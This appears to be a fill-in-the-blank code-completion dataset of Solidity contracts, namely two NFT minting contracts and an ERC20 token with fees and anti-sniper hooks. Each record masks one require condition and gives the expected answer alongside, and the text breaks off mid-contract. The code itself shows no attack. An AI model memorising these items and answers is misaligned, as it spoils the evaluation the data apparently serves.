//-------------------- END Fallback Receive Ether Function
}
| payable(wallet2).send(_paytoW2) | 153,545 | payable(wallet2).send(_paytoW2) |
null | // SPDX-License-Identifier: MIT
// Create by 0xChrisx
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./ERC721A.sol";
import "./Strings.sol";
import "./MerkleProof.sol";
contract CutieCatsClub is Ownable, ERC721A, ReentrancyGuard {
event Received(address, uint);
uint256 public mintPhase ;
uint256 public mintPrice = 0 ether;
uint256 public collectionSize_ = 999 ;
uint256 public maxWlRound = 925 ;
uint256 public maxPerPublic = 5;
uint256 public maxPerWhitelist = 2;
uint256 public maxPerAllowlist = 2;
bytes32 public WLroot ;
bytes32 public ALroot ;
string private baseURI ;
constructor() ERC721A("CutieCatsClub", "CTC", maxPerPublic , collectionSize_ ) {
}
modifier callerIsUser() {
}
//------------------ BaseURI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI (string memory _newBaseURI) public onlyOwner {
}
//--------------------- END BaseURI
//--------------------- Set & Change anythings
function setMintPrice (uint256 newPrice) public onlyOwner {
}
function setCollectionSize (uint256 newCollectionSize) public onlyOwner {
}
function setMaxWlRound (uint256 newMaxWlRound) public onlyOwner {
}
function setMaxPerAddress (uint256 newMaxPerAddress) public onlyOwner {
}
function setMaxPerWhitelist (uint256 newMaxPerWhitelist ) public onlyOwner {
}
function setMaxPerAllowlist (uint256 newMaxPerAllowlist ) public onlyOwner {
}
function setWLRoot (bytes32 newWLRoot) public onlyOwner {
}
function setALRoot (bytes32 newALRoot) public onlyOwner {
}
function setPhase (uint256 newPhase) public onlyOwner {
}
//--------------------- END Set & Change anythings
//--------------------------------------- Mint
//-------------------- PublicMint
function publicMint(uint256 _mintAmount) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
//-------------------- END PublicMint
//-------------------- DevMint
function devMint(address _to ,uint256 _mintAmount) external onlyOwner {
}
//-------------------- END DevMint
//-------------------- WhitelistMint
function mintWhiteList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
}
function isValidWL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END WhitelistMint
//-------------------- AllowlistMint
function mintAllowList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
}
function isValidAL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END AllowlistMint
//--------------------------------------------- END Mint
//------------------------- Withdraw Money
address private wallet1 = 0xb4Eb727F3420005955045ACE103E3B260645DEE3; // K.Pim
address private wallet2 = 0x8D5532c04f37A60F6E60b5F28D72b4E9013F938C; // K.Chris
address private wallet3 = 0x031633884306abAF5d5003Ca5A631Aec9Ef258AA; // K.Kung
address private wallet4 = 0xf9265783c26866FBC183a8dEB8F891C3c1cEF16b; // VAULT
function withdrawMoney() external payable nonReentrant {
uint256 _paytoW1 = address(this).balance*37/100 ; // K.pim
uint256 _paytoW2 = address(this).balance*27/100 ; // K.Chris
uint256 _paytoW3 = address(this).balance*27/100 ; // K.Kung
uint256 _paytoW4 = address(this).balance*9/100 ; // VAULT
require(address(this).balance > 0, "No ETH left");
require(payable(wallet1).send(_paytoW1));
require(payable(wallet2).send(_paytoW2));
require(<FILL_ME>)
require(payable(wallet4).send(_paytoW4));
}
//------------------------- END Withdraw Money
//-------------------- START Fallback Receive Ether Function
receive() external payable {
}
//-------------------- END Fallback Receive Ether Function
}
| payable(wallet3).send(_paytoW3) | 153,545 | payable(wallet3).send(_paytoW3) |
null | // SPDX-License-Identifier: MIT
// Create by 0xChrisx
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./ERC721A.sol";
import "./Strings.sol";
import "./MerkleProof.sol";
contract CutieCatsClub is Ownable, ERC721A, ReentrancyGuard {
event Received(address, uint);
uint256 public mintPhase ;
uint256 public mintPrice = 0 ether;
uint256 public collectionSize_ = 999 ;
uint256 public maxWlRound = 925 ;
uint256 public maxPerPublic = 5;
uint256 public maxPerWhitelist = 2;
uint256 public maxPerAllowlist = 2;
bytes32 public WLroot ;
bytes32 public ALroot ;
string private baseURI ;
constructor() ERC721A("CutieCatsClub", "CTC", maxPerPublic , collectionSize_ ) {
}
modifier callerIsUser() {
}
//------------------ BaseURI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI (string memory _newBaseURI) public onlyOwner {
}
//--------------------- END BaseURI
//--------------------- Set & Change anythings
function setMintPrice (uint256 newPrice) public onlyOwner {
}
function setCollectionSize (uint256 newCollectionSize) public onlyOwner {
}
function setMaxWlRound (uint256 newMaxWlRound) public onlyOwner {
}
function setMaxPerAddress (uint256 newMaxPerAddress) public onlyOwner {
}
function setMaxPerWhitelist (uint256 newMaxPerWhitelist ) public onlyOwner {
}
function setMaxPerAllowlist (uint256 newMaxPerAllowlist ) public onlyOwner {
}
function setWLRoot (bytes32 newWLRoot) public onlyOwner {
}
function setALRoot (bytes32 newALRoot) public onlyOwner {
}
function setPhase (uint256 newPhase) public onlyOwner {
}
//--------------------- END Set & Change anythings
//--------------------------------------- Mint
//-------------------- PublicMint
function publicMint(uint256 _mintAmount) external payable callerIsUser {
}
function numberMinted(address owner) public view returns (uint256) {
}
//-------------------- END PublicMint
//-------------------- DevMint
function devMint(address _to ,uint256 _mintAmount) external onlyOwner {
}
//-------------------- END DevMint
//-------------------- WhitelistMint
function mintWhiteList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
}
function isValidWL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END WhitelistMint
//-------------------- AllowlistMint
function mintAllowList(uint256 _mintAmount , bytes32[] memory _Proof) external payable {
}
function isValidAL(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
}
//-------------------- END AllowlistMint
//--------------------------------------------- END Mint
//------------------------- Withdraw Money
address private wallet1 = 0xb4Eb727F3420005955045ACE103E3B260645DEE3; // K.Pim
address private wallet2 = 0x8D5532c04f37A60F6E60b5F28D72b4E9013F938C; // K.Chris
address private wallet3 = 0x031633884306abAF5d5003Ca5A631Aec9Ef258AA; // K.Kung
address private wallet4 = 0xf9265783c26866FBC183a8dEB8F891C3c1cEF16b; // VAULT
function withdrawMoney() external payable nonReentrant {
uint256 _paytoW1 = address(this).balance*37/100 ; // K.pim
uint256 _paytoW2 = address(this).balance*27/100 ; // K.Chris
uint256 _paytoW3 = address(this).balance*27/100 ; // K.Kung
uint256 _paytoW4 = address(this).balance*9/100 ; // VAULT
require(address(this).balance > 0, "No ETH left");
require(payable(wallet1).send(_paytoW1));
require(payable(wallet2).send(_paytoW2));
require(payable(wallet3).send(_paytoW3));
require(<FILL_ME>)
}
//------------------------- END Withdraw Money
//-------------------- START Fallback Receive Ether Function
receive() external payable {
}
//-------------------- END Fallback Receive Ether Function
}
| payable(wallet4).send(_paytoW4) | 153,545 | payable(wallet4).send(_paytoW4) |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract SuperbowlNFT is ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Strings for string;
// Storage Game Variables
mapping(address => uint8) private percentageDistribution;
address[] private distributionList;
//NFT Variables
uint256 public MintPrice = 0 ether;
uint256 public LockedSupply = 10;
string private _baseTokenURI;
uint public constant HardCap = 1;
bool public SaleIsActive = false;
bool public forceIsActive = false;
mapping(address => uint256[]) public owners;
constructor(
string memory uri,
uint initialSupply,
string memory name,
string memory symbol
) ERC721(name, symbol) {
}
function changeShareOf(address addr, uint8 share) public onlyOwner {
}
function flipSaleState() public onlyOwner {
}
function increaseLockedSupplyBy(uint256 amount) public onlyOwner {
}
function flipForce() public onlyOwner {
}
function setPrice(uint256 _newPrice) public onlyOwner {
}
function increaseSupply(uint256 increment) public onlyOwner {
}
function withdrawAll() public payable onlyOwner {
uint256 balance = address(this).balance;
for(uint8 i = 0; i< distributionList.length ; i++)
{
address target = distributionList[i];
require(<FILL_ME>)
}
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function tokenURI(
uint256 tokenId
) public view virtual override returns (string memory) {
}
function mintRabbits(uint numberOfTokens) public payable {
}
// function _afterTokenTransfer(
// address from,
// address to,
// uint256 tokenId,
// uint256 batchSize
// ) internal virtual override {
// uint256[] memory fromTokens = owners[from];
// if (from != address(0)) {
// // Avoiding minting
// unchecked {
// for (uint256 i = 0; i < fromTokens.length; i++) {
// if (fromTokens[i] == tokenId) {
// uint256 element = fromTokens[fromTokens.length - 1];
// fromTokens[fromTokens.length - 1] = fromTokens[i];
// fromTokens[i] = element;
// delete fromTokens[fromTokens.length - 1];
// }
// }
// owners[to].push(tokenId);
// }
// }
// }
function getMyNFTS() public view returns (uint256[] memory) {
}
// function jediForce() public {
// require(SaleIsActive, "Sale must be active to mint Kaido");
// require(forceIsActive,"Only authorized wallets can use this jedi function");
// require(totalSupply().add(1) <= LockedSupply,"Purchase would exceed max supply of Kaido");
// uint mintIndex = totalSupply();
// if (totalSupply() < LockedSupply) {
// _safeMint(msg.sender, mintIndex);
// }
// }
}
| payable(distributionList[i]).send(balance.mul(percentageDistribution[target]).div(100)) | 153,624 | payable(distributionList[i]).send(balance.mul(percentageDistribution[target]).div(100)) |
"Purchase would exceed max supply of Superbowl" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract SuperbowlNFT is ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Strings for string;
// Storage Game Variables
mapping(address => uint8) private percentageDistribution;
address[] private distributionList;
//NFT Variables
uint256 public MintPrice = 0 ether;
uint256 public LockedSupply = 10;
string private _baseTokenURI;
uint public constant HardCap = 1;
bool public SaleIsActive = false;
bool public forceIsActive = false;
mapping(address => uint256[]) public owners;
constructor(
string memory uri,
uint initialSupply,
string memory name,
string memory symbol
) ERC721(name, symbol) {
}
function changeShareOf(address addr, uint8 share) public onlyOwner {
}
function flipSaleState() public onlyOwner {
}
function increaseLockedSupplyBy(uint256 amount) public onlyOwner {
}
function flipForce() public onlyOwner {
}
function setPrice(uint256 _newPrice) public onlyOwner {
}
function increaseSupply(uint256 increment) public onlyOwner {
}
function withdrawAll() public payable onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function tokenURI(
uint256 tokenId
) public view virtual override returns (string memory) {
}
function mintRabbits(uint numberOfTokens) public payable {
require(SaleIsActive, "Sale must be active to mint Superbowl");
require(numberOfTokens <= HardCap,"Maximum mints per transaction exceeded");
require(<FILL_ME>)
require(MintPrice * numberOfTokens == msg.value,"Ether value sent is not correct");
for (uint i = 0; i < numberOfTokens; i++) {
uint mintIndex = totalSupply();
owners[msg.sender].push(mintIndex);
if (totalSupply() < LockedSupply) {
_safeMint(msg.sender, mintIndex);
}
}
}
// function _afterTokenTransfer(
// address from,
// address to,
// uint256 tokenId,
// uint256 batchSize
// ) internal virtual override {
// uint256[] memory fromTokens = owners[from];
// if (from != address(0)) {
// // Avoiding minting
// unchecked {
// for (uint256 i = 0; i < fromTokens.length; i++) {
// if (fromTokens[i] == tokenId) {
// uint256 element = fromTokens[fromTokens.length - 1];
// fromTokens[fromTokens.length - 1] = fromTokens[i];
// fromTokens[i] = element;
// delete fromTokens[fromTokens.length - 1];
// }
// }
// owners[to].push(tokenId);
// }
// }
// }
function getMyNFTS() public view returns (uint256[] memory) {
}
// function jediForce() public {
// require(SaleIsActive, "Sale must be active to mint Kaido");
// require(forceIsActive,"Only authorized wallets can use this jedi function");
// require(totalSupply().add(1) <= LockedSupply,"Purchase would exceed max supply of Kaido");
// uint mintIndex = totalSupply();
// if (totalSupply() < LockedSupply) {
// _safeMint(msg.sender, mintIndex);
// }
// }
}
| totalSupply()+numberOfTokens<=LockedSupply,"Purchase would exceed max supply of Superbowl" | 153,624 | totalSupply()+numberOfTokens<=LockedSupply |
"Ether value sent is not correct" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract SuperbowlNFT is ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Strings for string;
// Storage Game Variables
mapping(address => uint8) private percentageDistribution;
address[] private distributionList;
//NFT Variables
uint256 public MintPrice = 0 ether;
uint256 public LockedSupply = 10;
string private _baseTokenURI;
uint public constant HardCap = 1;
bool public SaleIsActive = false;
bool public forceIsActive = false;
mapping(address => uint256[]) public owners;
constructor(
string memory uri,
uint initialSupply,
string memory name,
string memory symbol
) ERC721(name, symbol) {
}
function changeShareOf(address addr, uint8 share) public onlyOwner {
}
function flipSaleState() public onlyOwner {
}
function increaseLockedSupplyBy(uint256 amount) public onlyOwner {
}
function flipForce() public onlyOwner {
}
function setPrice(uint256 _newPrice) public onlyOwner {
}
function increaseSupply(uint256 increment) public onlyOwner {
}
function withdrawAll() public payable onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function tokenURI(
uint256 tokenId
) public view virtual override returns (string memory) {
}
function mintRabbits(uint numberOfTokens) public payable {
require(SaleIsActive, "Sale must be active to mint Superbowl");
require(numberOfTokens <= HardCap,"Maximum mints per transaction exceeded");
require(totalSupply() + numberOfTokens <= LockedSupply,"Purchase would exceed max supply of Superbowl");
require(<FILL_ME>)
for (uint i = 0; i < numberOfTokens; i++) {
uint mintIndex = totalSupply();
owners[msg.sender].push(mintIndex);
if (totalSupply() < LockedSupply) {
_safeMint(msg.sender, mintIndex);
}
}
}
// function _afterTokenTransfer(
// address from,
// address to,
// uint256 tokenId,
// uint256 batchSize
// ) internal virtual override {
// uint256[] memory fromTokens = owners[from];
// if (from != address(0)) {
// // Avoiding minting
// unchecked {
// for (uint256 i = 0; i < fromTokens.length; i++) {
// if (fromTokens[i] == tokenId) {
// uint256 element = fromTokens[fromTokens.length - 1];
// fromTokens[fromTokens.length - 1] = fromTokens[i];
// fromTokens[i] = element;
// delete fromTokens[fromTokens.length - 1];
// }
// }
// owners[to].push(tokenId);
// }
// }
// }
function getMyNFTS() public view returns (uint256[] memory) {
}
// function jediForce() public {
// require(SaleIsActive, "Sale must be active to mint Kaido");
// require(forceIsActive,"Only authorized wallets can use this jedi function");
// require(totalSupply().add(1) <= LockedSupply,"Purchase would exceed max supply of Kaido");
// uint mintIndex = totalSupply();
// if (totalSupply() < LockedSupply) {
// _safeMint(msg.sender, mintIndex);
// }
// }
}
| MintPrice*numberOfTokens==msg.value,"Ether value sent is not correct" | 153,624 | MintPrice*numberOfTokens==msg.value |
"Cannot exceed roundtrip maximum." | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function sync() external;
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to, uint deadline
) external payable returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface AntiSnipe {
function checkUser(address from, address to, uint256 amt) external returns (bool);
function setLaunch(address _initialLpPair, uint32 _liqAddBlock, uint64 _liqAddStamp, uint8 dec) external;
function setLpPair(address pair, bool enabled) external;
function setProtections(bool _as, bool _ab) external;
function removeSniper(address account) external;
function removeBlacklisted(address account) external;
function isBlacklisted(address account) external view returns (bool);
function setBlacklistEnabled(address account, bool enabled) external;
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external;
function setBlockTXDelay(uint256 delay) external;
}
contract Maven is IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _liquidityHolders;
mapping (address => bool) private _isExcludedFromProtection;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromLimits;
mapping (address => bool) private presaleAddresses;
bool private allowedPresaleExclusion = true;
uint256 constant private startingSupply = 1_000_000_000;
string constant private _name = "Maven";
string constant private _symbol = "MVN";
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = startingSupply * 10**_decimals;
struct Fees {
uint16 buyFee;
uint16 sellFee;
uint16 sellHighTxFee;
uint16 transferFee;
}
struct Ratios {
uint16 team;
uint16 developmentPromos;
uint16 totalSwap;
}
Fees public _taxRates = Fees({
buyFee: 400,
sellFee: 700,
sellHighTxFee: 1000,
transferFee: 1000
});
Ratios public _ratios = Ratios({
team: 300,
developmentPromos: 800,
totalSwap: 1100
});
uint256 constant public maxBuyTaxes = 1500;
uint256 constant public maxSellTaxes = 1500;
uint256 constant public maxTransferTaxes = 1500;
uint256 constant public maxRoundtripTax = 2000;
uint256 constant masterTaxDivisor = 10000;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
struct TaxWallets {
address payable team;
address payable developmentPromos;
}
TaxWallets public _taxWallets = TaxWallets({
team: payable(0x8dFA22A351d294eFE8901ea4aF70A58D7E70A17b),
developmentPromos: payable(0x08d8bCAcb0D034861DB370E0c77B7a0e3DeC60Fc)
});
bool inSwap;
bool public contractSwapEnabled = false;
uint256 public swapThreshold;
uint256 public swapAmount;
bool public piContractSwapsEnabled;
uint256 public piSwapPercent;
uint256 private _maxTxAmountBuy = (_tTotal * 5) / 1000;
uint256 private _maxTxAmountSell = (_tTotal * 5) / 1000;
uint256 private _maxWalletSize = (_tTotal * 1) / 100;
uint256 private _highTaxSize = (_tTotal * 25) / 10000;
struct BurnXHolderValues {
bool enabled;
uint256 sellStamp;
uint256 soldAmount;
}
mapping (address => BurnXHolderValues) burnXHolders;
uint256 private burnXLimit = (_tTotal * 36) / 100000;
uint256 public burnXTimer = 1 days;
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
AntiSnipe antiSnipe;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ContractSwapEnabledUpdated(bool enabled);
event AutoLiquify(uint256 amountCurrency, uint256 amountTokens);
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and renouncements.
// This allows for removal of ownership privileges from the owner once renounced or transferred.
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function approveContractContingency() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setInitializer(address initializer) external onlyOwner {
}
function isExcludedFromLimits(address account) external view returns (bool) {
}
function isExcludedFromFees(address account) external view returns(bool) {
}
function isExcludedFromProtection(address account) external view returns (bool) {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function setExcludedFromProtection(address account, bool enabled) external onlyOwner {
}
//================================================ BLACKLIST
function setBlacklistEnabled(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner {
}
function isBlacklisted(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function setProtectionSettings(bool _antiSnipe, bool _antiBlock) external onlyOwner {
}
function setBlockTXDelay(uint256 delay) external onlyOwner {
}
function setTaxes(uint16 buyFee, uint16 sellFee, uint16 sellHighTxFee, uint16 transferFee) external onlyOwner {
require(buyFee <= maxBuyTaxes
&& sellFee <= maxSellTaxes
&& transferFee <= maxTransferTaxes
&& sellHighTxFee <= maxSellTaxes,
"Cannot exceed maximums.");
require(<FILL_ME>)
_taxRates.buyFee = buyFee;
_taxRates.sellFee = sellFee;
_taxRates.sellHighTxFee = sellHighTxFee;
_taxRates.transferFee = transferFee;
}
function setRatios(uint16 team, uint16 developmentPromos) external onlyOwner {
}
function setWallets(address payable developmentPromos, address payable team) external onlyOwner {
}
function setMaxTxPercents(uint256 percentBuy, uint256 divisorBuy, uint256 percentSell, uint256 divisorSell) external onlyOwner {
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getMaxTX() external view returns (uint256 buy, uint256 sell) {
}
function getMaxWallet() external view returns (uint256) {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setPriceImpactSwapAmount(uint256 priceImpactSwapPercent) external onlyOwner {
}
function setContractSwapEnabled(bool swapEnabled, bool priceImpactSwapEnabled) external onlyOwner {
}
function setHigherTaxSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getHigherTaxSize() external view returns (uint256) {
}
function setBurnXHolder(address account, bool enabled) public onlyOwner {
}
function setBurnXHolderMulti(address[] calldata accounts, bool enabled) external onlyOwner {
}
function setBurnXPercent(uint256 percent, uint256 divisor) external onlyOwner {
}
function setBurnXTimer(uint256 timeInMinutes) external onlyOwner {
}
function getBurnXHolderValues(address account) external view returns (bool isBurnXHolder, uint256 lastSellTimestamp, uint256 amountSoldDuringLimit) {
}
function getBurnXSellLimit() external view returns (uint256 tokens) {
}
function excludePresaleAddresses(address router, address presale) external onlyOwner {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function contractSwap(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function enableTrading() public onlyOwner {
}
function sweepContingency() external onlyOwner {
}
function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function multiSendBurnXHolders(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function finalizeTransfer(address from, address to, uint256 amount, bool buy, bool sell, bool other) internal returns (bool) {
}
function takeTaxes(address from, bool buy, bool sell, uint256 amount) internal returns (uint256) {
}
}
| buyFee+sellFee<=maxRoundtripTax&&buyFee+sellHighTxFee<=maxRoundtripTax,"Cannot exceed roundtrip maximum." | 153,637 | buyFee+sellFee<=maxRoundtripTax&&buyFee+sellHighTxFee<=maxRoundtripTax |
"Max Transaction amt must be above 0.1% of total supply." | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function sync() external;
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to, uint deadline
) external payable returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface AntiSnipe {
function checkUser(address from, address to, uint256 amt) external returns (bool);
function setLaunch(address _initialLpPair, uint32 _liqAddBlock, uint64 _liqAddStamp, uint8 dec) external;
function setLpPair(address pair, bool enabled) external;
function setProtections(bool _as, bool _ab) external;
function removeSniper(address account) external;
function removeBlacklisted(address account) external;
function isBlacklisted(address account) external view returns (bool);
function setBlacklistEnabled(address account, bool enabled) external;
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external;
function setBlockTXDelay(uint256 delay) external;
}
contract Maven is IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _liquidityHolders;
mapping (address => bool) private _isExcludedFromProtection;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromLimits;
mapping (address => bool) private presaleAddresses;
bool private allowedPresaleExclusion = true;
uint256 constant private startingSupply = 1_000_000_000;
string constant private _name = "Maven";
string constant private _symbol = "MVN";
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = startingSupply * 10**_decimals;
struct Fees {
uint16 buyFee;
uint16 sellFee;
uint16 sellHighTxFee;
uint16 transferFee;
}
struct Ratios {
uint16 team;
uint16 developmentPromos;
uint16 totalSwap;
}
Fees public _taxRates = Fees({
buyFee: 400,
sellFee: 700,
sellHighTxFee: 1000,
transferFee: 1000
});
Ratios public _ratios = Ratios({
team: 300,
developmentPromos: 800,
totalSwap: 1100
});
uint256 constant public maxBuyTaxes = 1500;
uint256 constant public maxSellTaxes = 1500;
uint256 constant public maxTransferTaxes = 1500;
uint256 constant public maxRoundtripTax = 2000;
uint256 constant masterTaxDivisor = 10000;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
struct TaxWallets {
address payable team;
address payable developmentPromos;
}
TaxWallets public _taxWallets = TaxWallets({
team: payable(0x8dFA22A351d294eFE8901ea4aF70A58D7E70A17b),
